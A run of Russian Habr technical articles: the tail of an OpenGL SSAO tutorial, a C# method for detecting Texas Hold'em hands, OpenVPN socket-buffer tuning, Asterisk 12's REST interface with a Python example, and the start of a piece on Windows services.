glBindFramebuffer(GL_FRAMEBUFFER, 0);
// проход освещения: сведение итогового изображения
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
shaderLightingPass.use();
[...]
glActiveTexture(GL_TEXTURE3);
glBindTexture(GL_TEXTURE_2D, ssaoColorBuffer);
[...]
RenderQuad();
```
Шейдер *shaderSSAO* принимает нужные ему текстуры G-буфера как входные данные, а также шумовую текстуру и ядро выборки:
```
#version 330 core
out float FragColor;
in vec2 TexCoords;
uniform sampler2D gPosition;
uniform sampler2D gNormal;
uniform sampler2D texNoise;
uniform vec3 samples[64];
uniform mat4 projection;
// тайлинг шумовой текстуры основан на отношении размера вьюпорта к размеру самой текстуры
// в примере вьюпорт имеет размер 1280x720
const vec2 noiseScale = vec2(1280.0/4.0, 720.0/4.0);
void main()
{
[...]
}
```
Обратите внимание на переменную *noiseScale*. Наша маленькая текстура с шумом должна быть затайлена по всей поверхности экрана, но поскольку текстурные координаты *TexCoords* заключены в пределах [0., 1.] этого не произойдет без нашего вмешательства. В этих целях мы вычисляем множитель для текстурных координат, который находится как отношение размера экрана к размеру шумовой текстуры:
```
vec3 fragPos = texture(gPosition, TexCoords).xyz;
vec3 normal = texture(gNormal, TexCoords).rgb;
vec3 randomVec = texture(texNoise, TexCoords * noiseScale).xyz;
```
Поскольку при создании шумовой текстуры *texNoise* мы установили режим повтора в *GL\_REPEAT*, то теперь она будет повторяться множество раз на поверхности экрана. Имея на руках величины *randomVec*, *fragPos* и *normal* мы можем создать матрицу TBN трансформации из касательного пространства в видовое:
```
vec3 tangent = normalize(randomVec - normal * dot(randomVec, normal));
vec3 bitangent = cross(normal, tangent);
mat3 TBN = mat3(tangent, bitangent, normal);
```
Используя процесс Грамма-Шмидта мы создаем ортогональный базис, случайно наклоненным в каждом фрагменте на основе случайного значения *randomVec*. Важный момент: поскольку в данном случае нам неважно, чтобы матрица TBN была точно сориентирована вдоль поверхности треугольника (как в случае с parallax mapping'ом, прим. пер.), то нам не нужны предрасчитанные данные о касательных и бикасательных.
Далее мы проходим по массиву ядра выборки, переводим каждый вектор выборки из касательного пространства в видовое и получаем его сумму с текущим положением фрагмента. Затем сравниваем величину глубины получившейся суммы со значением глубины, полученной выборкой из соответствующей текстуры G-буфера.
Пока звучит запутанно, разберем это по шагам:
```
float occlusion = 0.0;
for(int i = 0; i < kernelSize; ++i)
{
// получение координаты точки выборки
vec3 sample = TBN * samples[i]; // переход от касательного в видовое пр-во
sample = fragPos + sample * radius;
[...]
}
```
Здесь *kernelSize* и *radius* являются переменными, контролирующими характеристики эффекта. В данном случае они равны 64 и 0.5 соответственно. На каждой итерации мы переводим вектор ядра выборки в видовое пространство. Далее прибавляем к полученному значению смещения выборки в видовом пространстве значение положения фрагмента в видовом пространстве. При этом значение смещения умножается на переменную radius, которая управляет радиусом ядра выборки эффекта SSAO.
После этих шагов нам следует преобразовать полученный вектор *sample* в экранное пространство, для того, чтобы мы могли осуществить выборку из текстуры G-буфера, хранящей положения и глубины фрагментов, используя полученное спроецированное значение. Поскольку *sample* находится в видовом пространстве, нам потребуется матрица проекции *projection*:
```
vec4 offset = vec4(sample, 1.0);
offset = projection * offset; // переход из видового клиповое
offset.xyz /= offset.w; // перспективное деление
offset.xyz = offset.xyz * 0.5 + 0.5; // преобразование к интервалу [0., 1.]
```
После преобразования в клиповое пространство мы вручную осуществляем перспективное деление простым делением компонент *xyz* на *w* компоненту. Полученный вектор в нормализованных координатах устройства (*NDC*) переводится в интервал значений [0., 1.] дабы его можно было использовать как текстурные координаты:
```
float sampleDepth = texture(gPosition, offset.xy).z;
```
Используем компоненты *xy* вектора *sample* для выборки из текстуры положений G-буфера. Получим значение глубины (*z* компоненты), соответствующее вектору выборки при взгляде с позиции наблюдателя (это первый не заслоненный видимый фрагмент). Если при этом полученная глубина выборки оказывается больше, чем сохраненная глубина, то мы увеличиваем коэффициент затенения:
```
occlusion += (sampleDepth >= sample.z + bias ? 1.0 : 0.0);
```
Обратите внимание на смещение *bias*, которое добавляется к исходной глубине фрагмента (в примере установлена в 0.025). Это смещение не всегда является обязательным, но наличие переменной позволяет управлять тем, как выглядит эффект SSAO, а также, в определенных ситуациях, убирает проблемы с рябью в затененных областях.
Но и это еще не все, поскольку такая реализация приводит к заметным артефактам. Он проявляется в тех случаях, когда рассматривается фрагмент, лежащий вблизи края некоторой поверхности. В таких ситуациях алгоритм при сравнении глубин неизбежно захватит и глубины поверхностей, которые могут лежать очень далеко позади рассматриваемой. В этих местах алгоритм ошибочно сильно увеличит степень затенения, что создаст заметные темные ореолы по краям объектов. Лечится артефакт введением дополнительной проверки на расстояние (пример за авторством [John Chapman](http://john-chapman-graphics.blogspot.com/)):
Проверка будет ограничивать вклад в коэффициент затенения только для значений глубины, лежащих в пределах радиуса выборки:
```
float rangeCheck = smoothstep(0.0, 1.0, radius / abs(fragPos.z - sampleDepth));
occlusion += (sampleDepth >= sample.z + bias ? 1.0 : 0.0) * rangeCheck;
```
Также мы применяем функцию GLSL *smoothstep()*, которая реализует плавную интерполяцию третьего параметра в пределах между первым и вторым. При этом возвращая 0, если третий параметр меньше или равен первому, либо 1, если третий параметр больше либо равен второму. Если разница глубин оказывается в пределах *radius*, то её величина будет плавно сглажена в интервале [0., 1.] в соответствии с данной кривой:
Если бы мы использовали четкие границы в условиях проверки глубины, то это добавило бы артефакты в виде резких границ в тех местах, где значения разницы глубин оказываются вне пределов *radius*.
Последним штрихом мы нормализуем величину коэффициента затенения, используя размер ядра выборки и записываем результат. Также мы инвертируем итоговое значение, вычитая его из единицы, дабы можно было использовать конечное значение напрямую для модуляции фоновой составляющей освещения без дополнительных действий:
```
}
occlusion = 1.0 - (occlusion / kernelSize);
FragColor = occlusion;
```
Для сцены с лежащим знакомым нам нанокостюмом, выполнение SSAO шейдера дает следующую текстуру:
Как видно, эффект фонового затенения создает неплохую иллюзию глубины. Одно только выходное изображение шейдера уже позволяет различить детали костюма и убедиться, что он действительно лежит на полу, а не левитирует на некотором расстоянии от него.
И все же эффект далек от идеала, поскольку шумовой узор, привнесенный текстурой случайных векторов поворота, легко заметен. Для сглаживания результата расчета SSAO мы применим фильтр размытия.
Размытие фонового затенения
---------------------------
После построения результата SSAO и перед финальным сведением освещения необходимо провести размытие текстуры, хранящей данные о коэффициенте затенения. Для этого мы заведем еще один фреймбуфер:
```
unsigned int ssaoBlurFBO, ssaoColorBufferBlur;
glGenFramebuffers(1, &ssaoBlurFBO);
glBindFramebuffer(GL_FRAMEBUFFER, ssaoBlurFBO);
glGenTextures(1, &ssaoColorBufferBlur);
glBindTexture(GL_TEXTURE_2D, ssaoColorBufferBlur);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RED, SCR_WIDTH, SCR_HEIGHT, 0, GL_RGB, GL_FLOAT, NULL);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, ssaoColorBufferBlur, 0);
```
Тайлинг шумовой текстуры в экранном пространстве обеспечивает вполне определенные характеристики случайности, которые можно использовать в свою пользу при создании фильтра размытия:
```
#version 330 core
out float FragColor;
in vec2 TexCoords;
uniform sampler2D ssaoInput;
void main() {
vec2 texelSize = 1.0 / vec2(textureSize(ssaoInput, 0));
float result = 0.0;
for (int x = -2; x < 2; ++x)
{
for (int y = -2; y < 2; ++y)
{
vec2 offset = vec2(float(x), float(y)) * texelSize;
result += texture(ssaoInput, TexCoords + offset).r;
}
}
FragColor = result / (4.0 * 4.0);
}
```
Шейдер просто осуществляет переход по текселям текстуры SSAO со смещение от -2 до +2, что соответствует реальным размерам шумовой текстуры. Смещение равно точному размеру одного текселя: для расчета используется функция *textureSize()*, возвращающая *vec2* с размерами указанной текстуры. Т.о. шейдер просто усредняет результаты, хранимые в текстуре, что дает быстрое и достаточно эффективное размытие:
Итого у нас на руках есть текстура с данными фонового затенения для каждого фрагмента на экране – все готово для стадии финального сведения изображения!
Применение фонового затенения
-----------------------------
Этап применения коэффициента затенения в итоговом расчете освещения на удивление прост: для каждого фрагмента достаточно просто умножить значение фоновой составляющей источника света на коэффициент затенения из подготовленной текстуры. Можно взять готовый шейдер с моделью Блинна-Фонга из урока по [отложенному затенению](https://habr.com/post/420565) и немного его подправить:
```
#version 330 core
out vec4 FragColor;
in vec2 TexCoords;
uniform sampler2D gPosition;
uniform sampler2D gNormal;
uniform sampler2D gAlbedo;
uniform sampler2D ssao;
struct Light {
vec3 Position;
vec3 Color;
float Linear;
float Quadratic;
float Radius;
};
uniform Light light;
void main()
{
// извлечение данных из G-буфера
vec3 FragPos = texture(gPosition, TexCoords).rgb;
vec3 Normal = texture(gNormal, TexCoords).rgb;
vec3 Diffuse = texture(gAlbedo, TexCoords).rgb;
float AmbientOcclusion = texture(ssao, TexCoords).r;
// расчет модели Блинна-Фонга в видовом пространстве
// здесь появляется новшество: учет расчитанного к-та затенения
vec3 ambient = vec3(0.3 * Diffuse * AmbientOcclusion);
vec3 lighting = ambient;
// положение наблюдателя всегда (0, 0, 0) в видовом пр-ве
vec3 viewDir = normalize(-FragPos);
// диффузная составляющая
vec3 lightDir = normalize(light.Position - FragPos);
vec3 diffuse = max(dot(Normal, lightDir), 0.0) * Diffuse * light.Color;
// зеркальная составляющая
vec3 halfwayDir = normalize(lightDir + viewDir);
float spec = pow(max(dot(Normal, halfwayDir), 0.0), 8.0);
vec3 specular = light.Color * spec;
// фоновая составляющая
float dist = length(light.Position - FragPos);
float attenuation = 1.0 / (1.0 + light.Linear * dist + light.Quadratic * dist * dist);
diffuse *= attenuation;
specular *= attenuation;
lighting += diffuse + specular;
FragColor = vec4(lighting, 1.0);
}
```
Серьезных изменений здесь всего два: переход к расчетам в видовом пространстве и умножение компоненты фонового освещения на значение *AmbientOcclusion*. Пример сцены с единственным синим точечным источником света:
Полный исходный код лежит [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/5.advanced_lighting/9.ssao/ssao.cpp).
Проявление эффекта SSAO сильно зависит от параметров типа *kernelSize*, *radius* и *bias*, зачастую их тонкая подстройка – само собой разумеющееся занятие художника при проработке той или иной локации/сцены. Нет каких-то «лучших» и универсальных сочетаний параметров: для одних сцен хорош малый радиус ядра выборки, другие выигрывают от увеличенного радиуса и числа выборок. В примере используется 64 точки выборки, что, откровенно говоря, избыточно, но вы всегда можете отредактировать код и посмотреть, что получится при меньшем числе выборок.
Кроме перечисленных юниформов, которые отвечают за настройку эффекта, существует возможность явно регулировать выраженность эффекта фонового затенения. Для этого достаточно возвести коэффициент в степень, контролируемую еще одним юниформом:
```
occlusion = 1.0 - (occlusion / kernelSize);
FragColor = pow(occlusion, power);
```
Советую потратить некоторое время на игру с настройками, поскольку это даст лучшее понимание о характере изменений в итоговой картинке.
Подводя итог, стоит сказать, что хотя визуальный эффект от применения SSAO и достаточно слабозаметный, но в сценах с хорошо расставленным освещением он неоспоримо добавляет заметную толику реализма. Иметь такой инструмент в своем арсенале безусловно ценно.
Дополнительные ресурсы
----------------------
1. [SSAO Tutorial](http://john-chapman-graphics.blogspot.nl/2013/01/ssao-tutorial.html): отличная статья-урок от John Chapman, на основе которой построен код данного урока.
2. [Know your SSAO artifacts](https://mtnphil.wordpress.com/2013/06/26/know-your-ssao-artifacts/): Весьма ценная статья доходчиво показывающая не только самые насущные проблемы с качеством SSAO, но и пути их решения. Рекомендуется к прочтению.
3. [SSAO With Depth Reconstruction](http://ogldev.atspace.co.uk/www/tutorial46/tutorial46.html): Дополнение к основному уроку о SSAO от автора OGLDev, касающаяся часто применяемой техники восстановления координаты фрагмента на основе значения глубины. Важность данного подхода обусловлена весомой экономией памяти за счет отсутствия необходимости хранить положения в G-буфере. Подход так то универсальный, к SSAO относится постольку поскольку.
**P.S.**: У нас есть [телеграм-конфа](https://t.me/joinchat/Cpb05A46UPpMWdNVVCb4Vg) для координации переводов. Если есть серьезное желание помогать с переводом, то милости просим! | https://habr.com/ru/post/421385/ | null | ru | null |
# Определение комбинации в Техасском Холдеме
Всем привет! Меня зовут Григорий Дядиченко, и я технический продюсер. А в прошлом я был профессиональным игроком в покер. Сейчас я решил сделать на Unity пример проекта с покером, который выложу в опенсорс, когда я его доделаю. А пока хочется посмотреть на интересную задачку с определением сильнейшей комбинации в техасском холдеме. Разберём хеш-функции, битовые операции, поиск подмножеств определённой длинны из множества, биномиальный коэффициент и другое. Если вам интересна эта тема, то добро пожаловать под кат!
Немного о покере и о карьере в нём
----------------------------------
Пока онлайн покер не был запрещён повсеместно я играл около 8-30 столов на покерном сайте. Играл я в финале по ставкам 0.25/0.5$ и зарабатывал на этом около 1000$ в месяц, что для студента было достаточно неплохо. И сыграл более 3 миллионов рук. Потом в какой-то момент в РФ всё стало запрещено, да и такой заработок хороший, но не предел мечтаний, так что я ушёл в программирование. Но периодически всё равно возвращаюсь к своему старому хобби. И да, конечно же. Не играйте в азартные игры на деньги, вы проиграете. Мне повезло за карьеру заработать больше 40 000$, но это был путь в 4 года, где я прочитал порядка 15 книг по покеру, очень много анализировал свою статистику и занимался этим сутками, прям как работой. Из плюсов покера, что понятия мат. ожидания, дисперсии и ряда задач комбинаторики я понимал на 100%, так как приходилось много такого оценивать.
Чтобы описать алгоритм определения для начала нам надо бы знать правила Техасского Холдема. Все правила я расписывать не буду. Нам лишь важно то, что наш алгоритм должен определять лучшую комбинацию из пяти карт в семи картах. Так как в Техасском Холдеме если вы дошли до того, что открыли карты, то играет пять карт на столе плюс две ваши. Ниже приведу таблицу комбинаций:
**Покерной рукой** или **рукой** мы будем называть комбинацию из пяти карт. С условиями задачи плюс-минус разобрались, теперь перейдём к алгоритмам.
Полный перебор
--------------
Он конечно же в этой задаче не подходит. Давайте оценим для разминки число способов выбрать 7 карт из колоды в 52 карты. В комбинаторике это число сочетаний. Сочетанием из *n* по *k* называется набор элементов *k* выбранных из *n* не учитывая порядок. Оно в свою очередь равно биномиальному коэффициенту. То есть формула у нас такая и многим знакомая:
где ***n*** — это 52 карты в колоде, ***k*** — 7 карт, которые мы из неё выбираем. И мы получаем подставив всё в формулу *133 784 560* комбинаций. Перебирать такое число комбинаций нет никакого смысла. Игроки просто заснут.
Идеальная хеш-функция
---------------------
На такое решение я наткнулся [в этом репозитории](https://github.com/HenryRLee/PokerHandEvaluator) пока искал разные варианты реализации. Что такое **Perfect Hash Function**? **Идеальная хеш функция** — это хеш-функция, которая отображает отдельные элементы множества в ключи без пересечений. Что в свою очередь позволяет нам искать эти значения по ключу за *O(1)****.***
В случае с техасским наше множество это 133 784 560 комбинаций из 7 карт в колоде в 52 карты. В соответствие которым можно поставить разные покерные руки. Каждую комбинацию мы можем представить в виде ключа определив его через 52 битное представление:
Допустим на картинке у нас 5 пик, 7 пик, десять пик (для удобства записи в покере пишется как **T**), 5 червей, валет бубей, 4 крести и туз крести. То есть комбинация пара пятёрок.
С таким представлением каждому значению 52 битного представления руки будет соответствовать одна комбинация. То есть мы можем пред рассчитать больше 100 миллионов значений наших рук и выбирать из них за *O(1)*. Звучит не очень хорошо по памяти. Только такое число 52-битных ключей будут занимать около 870 мегабайт памяти. А ещё соответствующие им значения рук + вес руки, чтобы рассчитать силу руки. Если у нас серверное решение конечно можно считать прям так, так как 1гб памяти на сервере обычно найти не проблема. Но лучше оптимизировать алгоритм.
Битовая математика
------------------
Продолжаем наше исследование. В поисках алгоритма оптимальнее я нашёл [вот такую статью](https://jonathanhsiao.com/blog/evaluating-poker-hands-with-bit-math). Оно определено для 5-ти карточного покера, но мы же с вами уже знаем комбинаторику. Давайте прикинем. Если нам не важен порядок, то число комбинаций из 5-ти карт, если общее число карт равно 7 будет:.
Перебрать 21 вариант по 5 карт алгоритмом через битовую математику не особо долго. Так как сам алгоритм шустрый. Давайте и его разберём.
Тут так же **битовое представление руки,** но в немного другой форме.
![[9, 9, 9, K, K]](https://habrastorage.org/r/w1560/getpro/habr/upload_files/78a/e76/6f0/78ae766f045fc7347b91a243ae629272.png "[9, 9, 9, K, K]")[9, 9, 9, K, K]У автора зачем-то добавлены лишние биты. Их можно не добавлять и получится новое **52 битное представление руки,** только теперь мы ничего не знаем о мастях. Знаем сразу о числе карт и их старшинсве. Основной трюк этого представления заключается в том, что через операции mod (получение остатка от деления) на 15 мы можем легко одной операцией определить 6 видов рук.
* **Каре** — остаток 1
* **Фулл хаус** — остаток 10
* **Сет** — остаток 9
* **Две пары** — остаток 7
* **Пара** — остаток 6
* **Старшая карта** — остаток 5
Это в целом не так сложно доказать, так как у нас информация о числе карт хранится в 4-битах и при остатке от деления на 15 (а в данном случае такое число принимает значения от 0 до 15) мы всегда будем получать такие остатки. Так как 4 одинаковые карты всегда будут давать один блок, который даст остаток 0 (число 15, все 4 бита заполнены) и одну карту, которая не входит в этот диапазон. Можно так же проверить и все остальные комбинации
Но ведь это не все комбинации. Где стриты и флеши? В флеше и стрите очевидно не будет повторов. Так как чтобы карты были по порядку или одной масти, то там не должно быть пар. Поэтому мы запускаем доп. проверки, только если у нас получилась комбинация **Старшая карта**.
Добавим немного кода. Так как в игре по ряду причин мы вряд ли будем хранить руку в виде строки, как разбирают все примеры. Мы будем иметь структуру вроде.
```
public struct GameCard
{
public int Value;
public CardSuit Suit;
}
```
где *CardSuit*
```
public enum CardSuit
{
Clubs = 0,
Diamonds = 1,
Hearts = 2,
Spades = 3
}
```
И проверки на Стрит, Флеш, СтритФлеш и Роял-флеш проще сделать без битовых операций. А просто через код.
Detect Poker Combination
```
public static PokerCombination DetectCombination(List cards)
{
ulong handValue = 0;
Dictionary cardValues = new Dictionary();
foreach (var card in cards)
{
if (cardValues.ContainsKey(card.Value))
{
cardValues[card.Value]++;
}
else
{
cardValues[card.Value] = 0;
}
}
foreach (var cardValue in cardValues.Keys)
{
var cardsCount = cardValues[cardValue];
for (int i = 0; i < cardsCount; i++)
{
handValue += (ulong) Math.Pow(2, i) << cardValue \* 4;
}
}
var normalizedValue = handValue % 15;
switch (normalizedValue)
{
case 1:
return PokerCombination.FourOfKind;
case 10:
return PokerCombination.FullHouse;
case 9:
return PokerCombination.ThreeOfKind;
case 7:
return PokerCombination.TwoPair;
case 6:
return PokerCombination.Pair;
}
bool isSameSuit = cards.TrueForAll(card => card.Suit == cards[0].Suit);
bool isOrdered = true;
int? tmpValue = null;
foreach (var cardValue in cards.OrderBy(card => card.Value))
{
if (tmpValue.HasValue)
{
if (cardValue.Value - tmpValue.Value != 1)
{
isOrdered = false;
break;
}
else
{
tmpValue = cardValue.Value;
}
}
else
{
tmpValue = cardValue.Value;
}
}
bool isHighAce = Constants.PokerSingleSuitCardsCount - 1 == tmpValue.Value;
if (isSameSuit)
{
if (isOrdered)
{
return isHighAce ? PokerCombination.RoyalFlush : PokerCombination.StraightFlush;
}
else
{
return PokerCombination.Flush;
}
}
else
{
if (isOrdered)
{
return PokerCombination.Straight;
}
else
{
return PokerCombination.HighCard;
}
}
}
```
Чтож. Реализация написана. А теперь давайте проверим работает ли. Для этого напишем простенький тест.
```
using System.Collections.Generic;
using System.Diagnostics;
using UnityEngine;
using Debug = UnityEngine.Debug;
public class MockTest : MonoBehaviour
{
[SerializeField] private List \_cards;
[ContextMenu("Test")]
public void TestMockData()
{
Stopwatch stopwatch = Stopwatch.StartNew();
var subsetsForSeat = CollectionsUtils.CombinationsRosettaWoRecursion(\_cards.ToArray(), 5);
foreach (var subset in subsetsForSeat)
{
var log = "";
foreach (var card in subset)
{
log += $"Suit:{card.Suit} Value:{card.Value}\n";
}
log += $"Result: {HoldemRules.DetectCombination(subset)}";
Debug.Log(log);
}
Debug.Log(stopwatch.Elapsed.ToString());
stopwatch.Stop();
}
}
```
Итак, вот мы и получили наш тест. Задав 7 карт в инспекторе. Мы получили как и ожидается 22 лога (21 на комбинации и 1 на оценку времени).
Работает очень шустро. Так как за столом максимум 7 пользователей, то данная реализация уже подойдёт для продакшен решения. Конечно там есть, что оптимизировать, так как я не указал, что за метод такой *CombinationsRosettaWoRecursion:*
```
using System;
using System.Collections.Generic;
using System.Linq;
public class CollectionsUtils
{
private static IEnumerable CombinationsRosettaWoRecursion(int m, int n)
{
int[] result = new int[m];
Stack stack = new Stack(m);
stack.Push(0);
while (stack.Count > 0)
{
int index = stack.Count - 1;
int value = stack.Pop();
while (value < n)
{
result[index++] = value++;
stack.Push(value);
if (index != m) continue;
yield return (int[])result.Clone();
break;
}
}
}
public static IEnumerable> CombinationsRosettaWoRecursion(T[] array, int m)
{
if (array.Length < m)
throw new ArgumentException("Array length can't be less than number of selected elements");
if (m < 1)
throw new ArgumentException("Number of selected elements can't be less than 1");
T[] result = new T[m];
foreach (int[] j in CombinationsRosettaWoRecursion(m, array.Length))
{
for (int i = 0; i < m; i++)
{
result[i] = array[j[i]];
}
yield return result.ToList();
}
}
}
```
Данный алгоритм был найден [в Rosetta Code](https://rosettacode.org/wiki/Combinations#C.23). На нём есть много прикольных решений задач на разных языках программирования. Я его чуть ухудшил переводом к List, так как не хочется тратить пока время на переделку для иллюстрации концепта. В финальном проекте уже приведу к нормальному виду.
Собственно всё. Остался всего один вопрос. А что если две одинаковые комбинации? Как решать делёжку или ничью? Самый простой способ просто взять, отсортировать карты игроков по старшинству и сравнить попарно. Таким образом получится узнать чья рука сильнее. Определив самую сильную комбинацию. Это уже дело техники так сказать.
В заключении
------------
Спасибо за внимание! Надеюсь статья вам была полезна и интересна. И кому-то пригодится для реализации его проектов. Но помимо самой задачи мы прошлись по таким темам как BitShift, немного комбинаторики и математики. А я пойду дальше дописывать весь проект, чтобы уже потом сделать туториал по полной сборке однопользовательского покера с ботами. Мне кажется боты тоже будут интересной задачкой и кому-то могут пригодится, как иллюстрация, как их можно делать. | https://habr.com/ru/post/705488/ | null | ru | null |
# Почему OpenVPN тормозит?
**Описанная проблема присуща только ветке OpenVPN 2.3, в 2.4 размеры буферов не меняются без требования пользователя.**
Время от времени, мне встречаются темы на форумах, в которых люди соединяют несколько офисов с использованием OpenVPN и получают низкую скорость, сильно ниже скорости канала. У кого-то это может быть 20 Мбит/с при канале в 100 Мбит/с с обеих сторон, а кто-то еле получает и 400 Кбит/с на 2 Мбит/с ADSL/3G и высоким пингом. Зачастую, таким людям советуют увеличить MTU на VPN-интерфейсе до чрезвычайно больших значений, вроде 48000, или же поиграться с параметром mssfix. Частично это помогает, но скорость внутри VPN все еще очень далека от канальной. Иногда все сваливают на то, что OpenVPN — userspace-решение, и это его нормальная скорость, учитывая всякие шифрования и HMAC'и. Абсурд!
### Немного истории
На дворе июль 2004 года. Типичная скорость домашнего интернета в развитых странах составляет 256 Кбит/с-1 Мбит/с, в менее развитых — 56 Кбит/с. Ядро Linux 2.6.7 вышло не так давно, а 2.6.8, в котором TCP Window Scale включен по умолчанию, выйдет только через месяц. Проект OpenVPN развивается уже 3 года как, к релизу готовится версия 2.0.
Один из разработчиков добавляет код, который устанавливает буфер приема и отправки сокета по умолчанию в 64 КБ, вероятно, чтобы хоть как-то унифицировать размер буфера между платформами и не зависеть от системных настроек. Однако в Windows что-то поломали, и указание размера буферов у сокета приводит к странным проблемам с MTU на всех адаптерах в системе. В конечном итоге, в релиз OpenVPN 2.0-beta8 попадает следующий код:
```
#ifndef WIN32
o->rcvbuf = 65536;
o->sndbuf = 65536;
#endif
```
### Немного технической информации
Если вы пользовались OpenVPN, вы знаете, что он может работать как через UDP, так и через TCP. Если на TCP-сокете установить какое-то маленькое значение буфера, в нашем случае 64 КБ, то алгоритм подстройки TCP-окна просто не сможет выйти за это значение.
Что же это значит? Предположим, вы подключаетесь к серверу в США из России через OpenVPN со стандартными значениями буферов сокета. У вас широкий канал, скажем, 50 МБит/с, но в силу расстояния, пинг составляет 100 мс. Как вы думаете, какой максимальной скорости вы сможете добиться? 5.12 Мбит/с. Вам необходим буфер размером как минимум 640 КБ, чтобы загрузить ваш 50 Мбитный канал.
OpenVPN через UDP будет работать несколько быстрее из-за собственной реализации пересылки пакетов, но тоже далеко не идеально.
### Что делать?
Как вы могли уже догадаться, данный размер буфера все еще применяется в самом последнем релизе OpenVPN. Как же нам исправить ситуацию? Самый корректный вариант — запретить OpenVPN менять размер буферов у сокета.
Нужно добавить следующие строки как в серверный, так и в клиентский конфигурационные файлы:
```
sndbuf 0
rcvbuf 0
```
В этом случае, размер буфера будет задаваться настройками ОС. Для Linux и TCP это значение будет меняться согласно значениям из net.ipv4.tcp\_rmem и net.ipv4.tcp\_wmem, а для UDP — фиксированное значение net.core.rmem\_default и net.core.wmem\_default, деленное на два.
Если же по какой-то причине нет возможности поменять конфигурационные файлы клиента, следует отдавать достаточно большие размеры буферов с сервера:
```
sndbuf 0
rcvbuf 0
push "sndbuf 393216"
push "rcvbuf 393216"
```
UDP несколько отличается от TCP. У него нет аналога Window Scale, ему не требуются подтверждения о доставке пакета на транспортном уровне, но низкий размер буфера приема может замедлить и его, если буфер забивается раньше, чем OpenVPN успевает его считывать. Если скорость внутри туннеля кажется вам низкой даже с изменениями, описанными выше, то, возможно, имеет смысл либо увеличить размер буфера для всей системы целиком, увеличив net.core.rmem\_default и net.core.wmem\_default, либо всегда указывать определенный размер буфера в конфигурационном файле:
```
sndbuf 393216
rcvbuf 393216
push "sndbuf 393216"
push "rcvbuf 393216"
```
### Но у меня Windows!
Если у вас и OpenVPN-сервер работает на Windows-машине, и все клиенты подключаются только из-под Windows, то поздравляю — вам ничего менять не нужно, у вас и так все должно работать быстро.
[Вялотекущий баг на багтрекере OpenVPN](https://community.openvpn.net/openvpn/ticket/461) | https://habr.com/ru/post/246953/ | null | ru | null |
# В Asterisk версии 12 появился REST интерфейс (Asterisk REST Interface — ARI)
В Asterisk версии 12 появился REST интерфейс (Asterisk REST Interface — ARI).
Да, это RESTful API в натуре.
Пока имеются следующие ресурсы:
* Asterisk
* Bridges
* Channels
* Endpoints
* Events
* Recordings
* Sounds
* Applications
* Playbacks
* Devicestates
* Mailboxes
Или, интерфейсы к Каналам, Девайсам, Бриджам, Записям, Звукам. Вероятно, будут наращивать мощности :-)
Ну и главная фишка, это возможность подключения через WebSocket на /ari/events и в режиме постоянного соединения получать события.
В отличие от AMI, тут гуляют объекты в JSON формате, и работать с событиями крайне удобно.
Пример скрипта на ARI:
```
import ari
client = ari.connect('http://localhost:8088/', 'hey', 'peekaboo')
def on_dtmf(channel, event):
"""Callback for DTMF events.
When DTMF is received, play the digit back to the channel. # hangs up,
* plays a special message.
:param channel: Channel DTMF was received from.
:param event: Event.
"""
digit = event['digit']
if digit == '#':
channel.play(media='sound:goodbye')
channel.continueInDialplan()
elif digit == '*':
channel.play(media='sound:asterisk-friend')
else:
channel.play(media='sound:digits/%s' % digit)
def on_start(channel, event):
"""Callback for StasisStart events.
On new channels, register the on_dtmf callback, answer the channel and
play "Hello, world"
:param channel: Channel DTMF was received from.
:param event: Event.
"""
channel.on_event('ChannelDtmfReceived', on_dtmf)
channel.answer()
channel.play(media='sound:hello-world')
client.on_channel_event('StasisStart', on_start)
# Run the WebSocket
client.run(apps="hello")
```
События самые разные. В том числе можно по GET сгенерировать событие, и самому получить его как UserEvent через WebSocket. Так сказать, Asterisk как шина передачи данных :-{P
Подключение звонка в WebSocket приложение делается из диалплана командой Stasis.
Вот так выглядит диалплан:
```
exten => 1,1,Wait(1.5)
same => n,Stasis(dialer) ; dialer is the name of the application
same => n,Wait(2)
same => n,Hangup()
```
Из WebSocket'а можно выйти через вызов /channels/{channelId}/continue, и управление из WebSocket'a перейдет обратно в диалплан Asterisk'a.
Это как будто AMI и AGI в одном флаконе.
Кстати, имеется вкуснейшая плюшка в виде браузера по API.
Вот скриншот:
Ну и поглядев внимательно на API, надумал пачку UseCases:
* Providers monitoring
* Call spy
* Conference manager
* User device monitoring
* Recording manager
Monitor ^ Spy ^ Record ^ Conference ^ Dialer
Похоже на переход на другой уровень.
Asterisk12 сохраняя телефонный комбайн для админа, дает разработчику приближенный по удобству интерфейс не хуже FreeSWITCH. IMHO. Там XML, тут JSON.
А если вспомнить о функции CURL, то получается, у диалплана вырастают тааакие руки :-)
```
*CLI> core show function CURL
-= Info about function 'CURL' =-
[Synopsis]
Retrieves the contents of a URL
[Description]
url - URL to retrieve
post-data - Optional data to send as a POST (GET is default action)
[Syntax]
CURL(url[,post-data])
```
Молодцы, что сказать :-)
Главные ссылки:
* [wiki.asterisk.org/wiki/display/AST/Getting+Started+with+ARI](https://wiki.asterisk.org/wiki/display/AST/Getting+Started+with+ARI)
* [wiki.asterisk.org/wiki/display/AST/Asterisk+12+ARI](https://wiki.asterisk.org/wiki/display/AST/Asterisk+12+ARI) | https://habr.com/ru/post/225007/ | null | ru | null |
# Реализация сервисов в MSWin
По рабочей необходимости приходится иногда писать системные сервисы для Microsoft Windows.
На Хабре уже есть статья [Создание своего Windows Service](http://habrahabr.ru/blogs/cpp/71533/) , но по моему мнению — статья не более чем краткий обзор, который можно найти в MSDN. В ней не рассмотрены, например, возможные варианты поведения сервиса в случае ошибки, или запись в журналы сообщений.
Постараюсь, используя опыт написания такого рода приложений, изложить максимально возможный объем информации.
Рассматривать варианты, когда сервис функционирует в качестве драйвера устройства (и, соответственно, располагается в файле с расширением .sys) не будем, это слишком специализировано.
Обычно сервис — это просто приложение, запускаемое **SCM** (Service Control Manager) и контролируемое им же. Для программиста это означает, что для запуска нужно предусмотреть несколько дополнительный действий.
